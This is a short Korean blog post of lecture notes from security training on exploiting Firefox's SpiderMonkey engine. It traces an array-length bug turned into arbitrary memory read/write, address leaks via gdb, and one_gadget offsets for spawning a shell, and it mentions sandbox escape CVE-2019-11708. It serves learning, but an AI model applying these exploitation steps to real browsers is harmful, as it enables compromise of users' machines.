본문 바로가기
비오비

파폭2

by sonysame 2019. 8. 17.

var arr=[1,2,3,4];

arr.length


arr.blaze()


arr.length


사이즈가 늘어났다!!


arr_blaze에 있는 취약점



내부 객체 표현 

array선언


uint8array 선언 

사이즈가 갑자기 arr_blaze로 늘어나면

array입장에서는 Uint8Array까지 접근가능


ㄷelements->buffer_slot->length_slot->byteofset_slot


data_slot바로 아래 주소  


arr_blaze이용해서 data_slot을 바꿔버려


access가능한 주소라면 read/write이 가능하다



https://gregstoll.com/~gregstoll/floattohex/



ua8이 가지고 있는 값


14번째에 릭하기 위한 것

ㄱ그림에서 00000 -> arr[14] 릭릭

ua8기준으로는 0번째 



http://singi.io/bob88/int64.js

http://singi.io/bob88/utils.js



elements주소 구해가지고

js바이나리의 시작주소 구할 것이다




ㅑinfo proc all


/js


arr[9]

js바이너리의 시작 주소를 알 수 있다


mprotect mmap을 가지고 특정 ROP를 이ㅛㅇㅇ해서 쉘코드 있는 부부네 rwx권한 주고 점프하려고 했다


리눅스에서 magic gadget을 이용



text바이너리가 아니라 libc의 주소

그걸 이용하면 깔끔하게



ㅁarr[9] 고정

 0x7ffff6a65000     0x7ffff6c4c000   0x1e7000        0x0 /lib/x86_64-linux-gnu/libc-2.27.so


 하지만 릭은 여기


 0x555555554000     0x555556da0000  0x184c000        0x0 /js

      0x555556f9f000     0x555556ff3000    0x54000  0x184b000 /js

      0x555556ff3000     0x555556ff4000     0x1000  0x189f000 /js

      0x555556ff4000     0x555556ffc000     0x8000        0x0 [heap]



      x/40a  0x555556ff3000


      mprotect!!


(gdb) p/x 0x7ffff6b80ae0-0x7ffff6a65000

$1 = 0x11bae0



asDouble




root@a3e7a31263e5:/# one_gadget /lib/x86_64-linux-gnu/libc-2.27.so

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)

constraints:

  rcx == NULL


0x4f322 execve("/bin/sh", rsp+0x40, environ)

constraints:

  [rsp+0x40] == NULL


0x10a38c execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL



 spider monkey


 실제 취약점도 동일



 Window10


 firefox안에 있는 SandBox Escape!!

 검색

 cve 2019-11708!!!


 ㄱrenderper process와 브라우저 간의 통신 

 팝업기능 

 팝업ㄱURL ㅈ우리가 지정하가능

'비오비' 카테고리의 다른 글

[이상섭멘토님] Trust OS  (0) 2019.08.21
[8/18] 김재기 멘토님  (0) 2019.08.18
[신정훈 멘토님]파폭  (0) 2019.08.17
8/4[김재기멘토님]  (0) 2019.08.04
8/4 [박세준 멘토님]  (0) 2019.08.04